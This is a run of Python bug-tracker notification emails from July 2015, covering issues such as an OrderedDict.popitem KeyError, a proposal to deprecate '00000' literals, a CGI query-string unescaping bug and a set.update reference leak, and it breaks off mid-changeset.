From: report at bugs.python.org (Marco Clemencic)
Date: Sun, 19 Jul 2015 07:54:25 +0000
Subject: [issue24470] ctypes incorrect handling of long int on 64bits Linux
In-Reply-To: <1434702940.98.0.688877329391.issue24470@psf.upfronthosting.co.za>
Message-ID: <1437292465.95.0.86209159611.issue24470@psf.upfronthosting.co.za>


Marco Clemencic added the comment:

Hi,

apologies for the very late answer, but I just discovered that the mails got flagged as spam :(

In any case, I do not know where I got this "args" from, but I can confirm that the problem is just a bug on my side.

Thanks
Marco

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 10:44:58 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 19 Jul 2015 08:44:58 +0000
Subject: [issue24470] ctypes incorrect handling of long int on 64bits Linux
In-Reply-To: <1434702940.98.0.688877329391.issue24470@psf.upfronthosting.co.za>
Message-ID: <1437295498.16.0.991330112457.issue24470@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Thank you for following up on this.

----------
stage:  -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 10:59:43 2015
From: report at bugs.python.org (Milan Oberkirch)
Date: Sun, 19 Jul 2015 08:59:43 +0000
Subject: [issue19663] Not so correct error message when initializing
 defaultdict
In-Reply-To: <1384964745.34.0.550819526657.issue19663@psf.upfronthosting.co.za>
Message-ID: <1437296383.37.0.568838074081.issue19663@psf.upfronthosting.co.za>


Milan Oberkirch added the comment:

*ping* This is still a reasonable patch. Would be great if you can apply it :)

----------
nosy: +zvyn
versions: +Python 3.5, Python 3.6 -Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 12:16:54 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 10:16:54 +0000
Subject: [issue22609] Constructors of some mapping classes don't accept `self`
 keyword argument
In-Reply-To: <1413029049.09.0.127316928921.issue22609@psf.upfronthosting.co.za>
Message-ID: <1437301014.21.0.347398256139.issue22609@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ping again.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 12:40:38 2015
From: report at bugs.python.org (Fabian)
Date: Sun, 19 Jul 2015 10:40:38 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
Message-ID: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>


New submission from Fabian:

While testing pywikibot using requests and urllib3 on Python 3.6 we got an interesting error:

======================================================================
ERROR: testQueryApiGetter (tests.wikidataquery_tests.TestApiSlowFunctions)
Test that we can actually retreive data and that caching works.
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/xZise/pywikibot-core/tests/wikidataquery_tests.py", line 252, in testQueryApiGetter
    data = w.query(q)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/data/wikidataquery.py", line 601, in query
    data = self.getDataFromHost(fullQueryString)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/data/wikidataquery.py", line 563, in getDataFromHost
    resp = http.fetch(url)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 359, in fetch
    error_handling_callback(request)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 276, in error_handling_callback
    raise request.data
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 255, in _http_process
    auth=auth, timeout=timeout, verify=True)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/sessions.py", line 465, in request
    resp = self.send(prep, **send_kwargs)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/sessions.py", line 573, in send
    r = adapter.send(request, **kwargs)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/adapters.py", line 337, in send
    conn = self.get_connection(request.url, proxies)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/adapters.py", line 251, in get_connection
    conn = self.poolmanager.connection_from_url(url)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 139, in connection_from_url
    return self.connection_from_host(u.host, port=u.port, scheme=u.scheme)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 125, in connection_from_host
    self.pools[pool_key] = pool
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/_collections.py", line 66, in __setitem__
    _key, evicted_value = self._container.popitem(last=False)
KeyError: ('https', 'eu.wiktionary.org', 443)

Now that doesn't make much sense, as OrderedDict.popitem() only returns a KeyError if it's empty but then not with that error message. Unfortunately I can't reproduce it without doing the complete pywikibot test suite. When I only execute the tests where it occurred I don't get any failures. So I modified the output in urllib3 and returned the key as well as the content before popitem(last=False) is called (I shortened the values):

Key: ('https', 'bn.wikipedia.org', 443)
Content: OrderedDict([(('https', 'bn.wikipedia.org', 443), ), (('https', 'bs.wikipedia.org', 443), ), (('https', 'ca.wikipedia.org', 443), ), (('https', 'cs.wikipedia.org', 443), ), (('https', 'da.wikipedia.org', 443), ), (('https', 'de.wikipedia.org', 443), ), (('https', 'diq.wikipedia.org', 443), ), (('https', 'dsb.wikipedia.org', 443), ), (('https', 'en.wikipedia.org', 443), ), (('https', 'eo.wikipedia.org', 443), ), (('https', 'es.wikipedia.org', 443), ), (('https', 'fa.wikipedia.org', 443), ), (('https', 'fi.wikipedia.org', 443), ), (('https', 'fr.wikipedia.org', 443), ), (('https', 'frr.wikipedia.org', 443), ), (('https', 'ga.wikipedia.org', 443), ), (('https', 'gl.wikipedia.org', 443), ), (('https', 'als.wikipedia.org', 443), ), (('https', 'hu.wikipedia.org', 443), )])

As you can see it is not empty and the key in the KeyError is the first key in the OrderedDict. Also the key there is different from the key in the original exception I noticed so it's not a specific key that failed.

I don't think versions before Python 3.6 are affected as we had tests running on Python 3.5 (before Travis switched to 3.6 recently) and these all worked. Also not all popitem() calls in that line fail. I'm using Python 3.6.0a0 (default:d6c91b8242d2, Jul 18 2015, 16:36:01).

See also: https://github.com/shazow/urllib3/issues/680 and https://phabricator.wikimedia.org/T106212

----------
components: Library (Lib)
messages: 246937
nosy: xZise
priority: normal
severity: normal
status: open
title: OrderedDict.popitem() raises KeyError
versions: Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 12:40:58 2015
From: report at bugs.python.org (Cyd Haselton)
Date: Sun, 19 Jul 2015 10:40:58 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437302458.54.0.0679713790176.issue23496@psf.upfronthosting.co.za>


Cyd Haselton added the comment:

UPDATE:
Haven't forgotten about this; I'm currently (thanks to Android's new mandatory PIE binaries requirement) rebuilding all of the necessary utilities (openssl, curl, git, etc) so that I can clone and test.

Between the above and a sharp increase in workload at the day job, expect a few weeks delay between now and continued work on this issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 12:57:18 2015
From: report at bugs.python.org (John Mark Vandenberg)
Date: Sun, 19 Jul 2015 10:57:18 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437303438.19.0.628761198065.issue24667@psf.upfronthosting.co.za>


Changes by John Mark Vandenberg :


----------
nosy: +John.Mark.Vandenberg

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 12:58:37 2015
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 19 Jul 2015 10:58:37 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
Message-ID: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

As discussed on the python-ideas list here:

Subject: Disallow "00000" as a synonym for "0"
https://mail.python.org/pipermail/python-ideas/2015-July/034631.html

and on Stackoverflow, leading zeroes are forbidden for ints, due to the possible confusion with C-style octal literals e.g. 007 raises syntax error. However, zero itself allows an arbitrary number of leading zeroes, e.g. 000 is accepted. Nobody seems to know why this special case was allowed in the first place, or come up with a use-case for it.

I propose deprecating this: 0 will be the one canonical way to write a zero int in base 10. 00 000 etc should raise a compile-time deprecation warning, to be eventually turned into a syntax error same as 01 002 etc. Float literals, string conversions, and bin/oct/hex literals will remain unchanged.

Cons: if there is anyone out there typing `000` when `0` will do, this will complain noisily.

Pros: cleaner syntax; some typos which may be silently accepted (`00` for `90`) will be caught.

----------
messages: 246939
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Deprecate 00000 as a synonym for 0
type: behavior
versions: Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 13:08:18 2015
From: report at bugs.python.org (Chris Rebert)
Date: Sun, 19 Jul 2015 11:08:18 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
In-Reply-To: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>
Message-ID: <1437304098.24.0.825699836468.issue24668@psf.upfronthosting.co.za>


Changes by Chris Rebert :


----------
nosy: +cvrebert

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 13:13:35 2015
From: report at bugs.python.org (Cory Benfield)
Date: Sun, 19 Jul 2015 11:13:35 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437304415.5.0.309690996805.issue24667@psf.upfronthosting.co.za>


Changes by Cory Benfield :


----------
nosy: +Lukasa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 15:02:17 2015
From: report at bugs.python.org (Ian Cordasco)
Date: Sun, 19 Jul 2015 13:02:17 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437310937.7.0.524804371782.issue24667@psf.upfronthosting.co.za>


Changes by Ian Cordasco :


----------
nosy: +icordasc

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 15:04:29 2015
From: report at bugs.python.org (Kai Groner)
Date: Sun, 19 Jul 2015 13:04:29 +0000
Subject: [issue24669] inspect.getsource() returns the wrong lines for
 coroutine functions
Message-ID: <1437311069.42.0.654446530603.issue24669@psf.upfronthosting.co.za>


Changes by Kai Groner :


----------
components: Library (Lib)
nosy: groner
priority: normal
severity: normal
status: open
title: inspect.getsource() returns the wrong lines for coroutine functions
type: behavior
versions: Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 15:10:13 2015
From: report at bugs.python.org (Kai Groner)
Date: Sun, 19 Jul 2015 13:10:13 +0000
Subject: [issue24669] inspect.getsource() returns the wrong lines for
 coroutine functions
Message-ID: <1437311413.78.0.142577427611.issue24669@psf.upfronthosting.co.za>


New submission from Kai Groner:

inspect.findsource() looks for lines that start with `def`.  This patch adds a clause to the regex so lines starting with `async def` will also be recognized.

----------
keywords: +patch
Added file: http://bugs.python.org/file39950/inspect-getsource-asyncdef.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 15:11:02 2015
From: report at bugs.python.org (John S)
Date: Sun, 19 Jul 2015 13:11:02 +0000
Subject: [issue24661] CGIHTTPServer: premature unescaping of query string
In-Reply-To: <1437228241.83.0.784813490758.issue24661@psf.upfronthosting.co.za>
Message-ID: <1437311462.28.0.829512398398.issue24661@psf.upfronthosting.co.za>


John S added the comment:

Image you had the following URL.

 http://localhost:8000/cgi-bin/test.cgi?q=Dolce%26Gabbana&p=1

os.environ['QUERY_STRING'] would hold the value 

 q=Dolce&Gabbana&p=1

If you ran the following code, you would be unable to get the value of the q paramater in full.

import cgi
form = cgi.FieldStorage()
print form["q"].value # Outputs Dolce without the Gabbbana

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 16:26:33 2015
From: report at bugs.python.org (LordBlick)
Date: Sun, 19 Jul 2015 14:26:33 +0000
Subject: [issue24670] os.chdir breaks result of os.path.abspath(__file__) and
 os.path.realpath(__file__)
Message-ID: <1437315993.36.0.280874267638.issue24670@psf.upfronthosting.co.za>


New submission from LordBlick:

The use of methods path.chdir () corrupts the subsequent ability to detect the file path which is interpreted.
I've made simple example, which is atached:
$ cd ~/tmp
$ ./test_os_path.py 
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/subtemp/test_os_path.py
$ cd /usr
$ ~/tmp/test_os_path.py
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/subtemp/test_os_path.py
$ cd ~
$ tmp/test_os_path.py
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/tmp/test_os_path.py

----------
components: Library (Lib)
files: test_os_path.py
messages: 246942
nosy: LordBlick
priority: normal
severity: normal
status: open
title: os.chdir breaks result of os.path.abspath(__file__) and os.path.realpath(__file__)
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file39951/test_os_path.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 17:00:30 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 19 Jul 2015 15:00:30 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437318030.09.0.0775164436385.issue24667@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee:  -> eric.snow
nosy: +eric.snow

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 17:48:35 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 19 Jul 2015 15:48:35 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
In-Reply-To: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>
Message-ID: <1437320915.64.0.106439104717.issue24668@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Since 0000 is unambiguous, I propose leaving this alone unless some actual harm can be shown.  The leading zeros for floats have proven to be harmless, 00.0 is valid.  I see no reason to churn the code, go through deprecation effort, burden the docs with a X-stopped-being-valid-in-version-Y.   

Unless Georg states that this was a flat-out mistake, I vote -1 based on there being insufficient motivation to undo an already released implementation decision.

----------
assignee:  -> georg.brandl
nosy: +georg.brandl, rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 17:51:22 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 15:51:22 +0000
Subject: [issue24667] OrderedDict.popitem() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437321082.13.0.885076813259.issue24667@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 18:47:54 2015
From: report at bugs.python.org (Fabian)
Date: Sun, 19 Jul 2015 16:47:54 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437324474.87.0.875652234054.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Looking further into this issue, OrderedDict.pop() using the key returned from the KeyError (using eval(str(error))) also yields a KeyError. And OrderedDict.popitem() does not change the dictionary (so it's not like the KeyError is raised even though it worked).

Also it appears to be empty actually. list(OrderedDict) returns an empty list even though str(OrderedDict) does not. So maybe some operations do only remove entries from one part of the data so that popitem() still thinks it's in the cache. Now I'm not familiar with urllib3 so I'm not sure how that internal OrderedDict is used to narrow down what might cause that issue.

And additionally I tried to output keys(), items() and values() separately and suddenly I get a KeyError even when I just do str():

    conn = self.poolmanager.connection_from_url(url)
  File "/home/xzise/.pyenv/versions/3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 139, in connection_from_url
    return self.connection_from_host(u.host, port=u.port, scheme=u.scheme)
  File "/home/xzise/.pyenv/versions/3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 125, in connection_from_host
    self.pools[pool_key] = pool
  File "/home/xzise/.pyenv/versions/3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/_collections.py", line 66, in __setitem__
    __before = str(self._container)
KeyError: ('https', 'ru.wikipedia.org', 443)

----------
title: OrderedDict.popitem() raises KeyError -> OrderedDict.popitem()/__str__() raises KeyError

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 19:13:49 2015
From: report at bugs.python.org (Georg Brandl)
Date: Sun, 19 Jul 2015 17:13:49 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
In-Reply-To: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>
Message-ID: <1437326029.35.0.927481350264.issue24668@psf.upfronthosting.co.za>


Georg Brandl added the comment:

I don't recall the reason for this deliberate change (as seen from the docs change). 

I'm unable to come up with a good reason for this change now, but on the other hand I can't come up with a good reason for code churn and adding deprecationg warnings for a minor detail just as Raymond says.

Since the direction we're going is to allow leading zeros for all decimal literals in Python 4 (if it ever comes around), that's another reason for the status quo to win.

----------
resolution:  -> rejected
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 19:40:48 2015
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 19 Jul 2015 17:40:48 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
In-Reply-To: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>
Message-ID: <1437327648.07.0.601827697498.issue24668@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

[Raymond]

> I propose leaving this alone unless some actual harm can be shown.

+1.

----------
nosy: +mark.dickinson
status: pending -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 19:40:58 2015
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 19 Jul 2015 17:40:58 +0000
Subject: [issue24668] Deprecate 00000 as a synonym for 0
In-Reply-To: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>
Message-ID: <1437327658.93.0.163616239913.issue24668@psf.upfronthosting.co.za>


Changes by Mark Dickinson :


----------
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 21:20:59 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 19:20:59 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437333659.32.0.82985188536.issue24583@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

5c3812412b6f caused a refleak.

$ ./python -m test.regrtest -uall -R 3:3 test_set
[1/1] test_set
beginning 6 repetitions
123456
......
test_set leaked [23561, 24961, 23961] references, sum=72483
test_set leaked [785, 787, 787] memory blocks, sum=2359
1 test failed:
    test_set

Proposed patch fixes this.

----------
priority: high -> release blocker
resolution: fixed -> 
status: closed -> open
Added file: http://bugs.python.org/file39952/set_add_entry_leak.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 21:28:16 2015
From: report at bugs.python.org (Marcin Szewczyk)
Date: Sun, 19 Jul 2015 19:28:16 +0000
Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError)
In-Reply-To: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za>
Message-ID: <1437334096.84.0.244876314132.issue24654@psf.upfronthosting.co.za>


Marcin Szewczyk added the comment:

Thanks for the update.

Regarding the "plain generator" part -- am I right thinking it's simply a generator not decorated with @asyncio.coroutine?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 23:12:23 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 21:12:23 +0000
Subject: [issue24097] Use after free in PyObject_GetState
In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za>
Message-ID: <1437340343.89.0.319000528375.issue24097@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a test for this issue.

----------
stage: test needed -> patch review
Added file: http://bugs.python.org/file39953/test_issue24097.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 23:51:21 2015
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 19 Jul 2015 21:51:21 +0000
Subject: [issue24669] inspect.getsource() returns the wrong lines for
 coroutine functions
In-Reply-To: <1437311413.78.0.142577427611.issue24669@psf.upfronthosting.co.za>
Message-ID: <1437342681.57.0.23621385168.issue24669@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +yselivanov
stage:  -> patch review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 00:18:41 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 19 Jul 2015 22:18:41 +0000
Subject: [issue24671] idlelib 2.7: finish converting print statements
Message-ID: <1437344321.63.0.544143198256.issue24671@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Porting patches from 3.x to 2.7 would be much easier if print were always a function and not a statement in 2.7.

Two modules, configHandler and PyShell, have been converted to print functions ("from __future__ import print_function" and () added).

GrepDialog has parentheses added everywhere, WidgetRedirector has them in 1 of 2 places.  Both could use the import so "print(a,b)" is not printed as a tuple when not intended to.  I intend to patch these separately.

These modules only have print statements:  ColorDelegator, EditorWindow, FileList, MultiCall, Percolator, ScrolledList, UndoDelegator, WindowList, rpc.py, run.py.

I believe these could all be patched correctly most easily with the help of 2to3 with just the print fixer used. The last two use >>file.

MultiCall also has commented-out prints. RemoteDebugger only has such.
These could be uncommented, fixed, and recommented in a separate patch.

Any adjustment of print args to match 3.x should at least be a separate patch, if not issue.

----------
components: IDLE
messages: 246950
nosy: serhiy.storchaka, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: idlelib 2.7: finish converting print statements
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 00:32:41 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 19 Jul 2015 22:32:41 +0000
Subject: [issue24671] idlelib 2.7: finish converting print statements
In-Reply-To: <1437344321.63.0.544143198256.issue24671@psf.upfronthosting.co.za>
Message-ID: <20150719223238.29270.19904@psf.io>


Roundup Robot added the comment:

New changeset 949ba97beece by Terry Jan Reedy in branch '2.7':
Issue #24671: Finish print conversion, idlelib GrepDialog and WidgetRedirector.
https://hg.python.org/cpython/rev/949ba97beece

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 03:39:08 2015
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 20 Jul 2015 01:39:08 +0000
Subject: [issue24649] python -mtrace --help is wrong
In-Reply-To: <1437086585.22.0.878051480873.issue24649@psf.upfronthosting.co.za>
Message-ID: <1437356348.3.0.698894378535.issue24649@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Maybe it is time to rewrite trace module argument parser using argparse
and get an "always correct" auto-generated help for free?

----------
keywords: +easy
stage:  -> needs patch
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 04:06:25 2015
From: report at bugs.python.org (Alex Walters)
Date: Mon, 20 Jul 2015 02:06:25 +0000
Subject: [issue24642] Will there be an MSI installer?
In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za>
Message-ID: <1437357985.37.0.908825696245.issue24642@psf.upfronthosting.co.za>


Changes by Alex Walters :


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 05:50:34 2015
From: report at bugs.python.org (Alex Walters)
Date: Mon, 20 Jul 2015 03:50:34 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437364234.92.0.608891503757.issue23496@psf.upfronthosting.co.za>


Changes by Alex Walters :


----------
nosy: +tritium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 06:19:34 2015
From: report at bugs.python.org (Nick Coghlan)
Date: Mon, 20 Jul 2015 04:19:34 +0000
Subject: [issue24656] remove "assret" from mock error checking
In-Reply-To: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za>
Message-ID: <1437365974.98.0.552518763332.issue24656@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Marking as rejected by the module maintainer.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 06:20:02 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 04:20:02 +0000
Subject: [issue22609] Constructors of some mapping classes don't accept `self`
 keyword argument
In-Reply-To: <1413029049.09.0.127316928921.issue22609@psf.upfronthosting.co.za>
Message-ID: <1437366002.0.0.99189850401.issue22609@psf.upfronthosting.co.za>


Martin Panter added the comment:

Who are you pinging? I did just notice a minor English grammar problem (?one arguments?). But as far as I am concered you could have already committed the patch.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 06:43:18 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 04:43:18 +0000
Subject: [issue4395] Document auto __ne__ generation;
 provide a use case for non-trivial __ne__
In-Reply-To: <1227464493.77.0.130820783094.issue4395@psf.upfronthosting.co.za>
Message-ID: <1437367398.58.0.128749709129.issue4395@psf.upfronthosting.co.za>


Martin Panter added the comment:

Nick seemed to approve of this, so perhaps it is ready to commit? The new patch just resolves a minor conflict with the current code.

----------
stage: patch review -> commit review
versions: +Python 3.6
Added file: http://bugs.python.org/file39954/default-ne-reflected-priority.v3.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 06:46:33 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 04:46:33 +0000
Subject: [issue22609] Constructors of some mapping classes don't accept `self`
 keyword argument
In-Reply-To: <1413029049.09.0.127316928921.issue22609@psf.upfronthosting.co.za>
Message-ID: <1437367593.59.0.465051552169.issue22609@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I will look at this more when I get a chance (likely this week).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:11:18 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 05:11:18 +0000
Subject: [issue22609] Constructors of some mapping classes don't accept `self`
 keyword argument
In-Reply-To: <1413029049.09.0.127316928921.issue22609@psf.upfronthosting.co.za>
Message-ID: <1437369078.33.0.236283756467.issue22609@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I was pinging Raymond. He is maintainer of the collections module, this issue is assigned to his, and he had valid objections to previous version of the patch. Even one of this reason is enough to wait his review before committing.

Thank you Raymond.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:12:59 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 20 Jul 2015 05:12:59 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <1437369179.72.0.746785394292.issue24583@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

3.6 only.  Correct?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:22:58 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 20 Jul 2015 05:22:58 +0000
Subject: [issue4395] Document auto __ne__ generation;
 provide a use case for non-trivial __ne__
In-Reply-To: <1227464493.77.0.130820783094.issue4395@psf.upfronthosting.co.za>
Message-ID: <1437369778.77.0.290779453118.issue4395@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Added comments on Rietveld.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:23:00 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 05:23:00 +0000
Subject: [issue15745] Numerous utime ns tests fail on FreeBSD w/ ZFS (update:
 and NetBSD w/ FFS, Solaris w/ UFS)
In-Reply-To: <1345515355.02.0.72747216818.issue15745@psf.upfronthosting.co.za>
Message-ID: <1437369780.25.0.821319997895.issue15745@psf.upfronthosting.co.za>


Martin Panter added the comment:

This patch defeats the warnings

----------
status: closed -> open
Added file: http://bugs.python.org/file39955/stat-times-deprecated.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 07:23:40 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 05:23:40 +0000
Subject: [issue24583] set.update(): Crash when source set is changed during
 merging
In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za>
Message-ID: <20150720052336.14722.98886@psf.io>


Roundup Robot added the comment:

New changeset acb5b177dd4e by Raymond Hettinger in branch 'default':
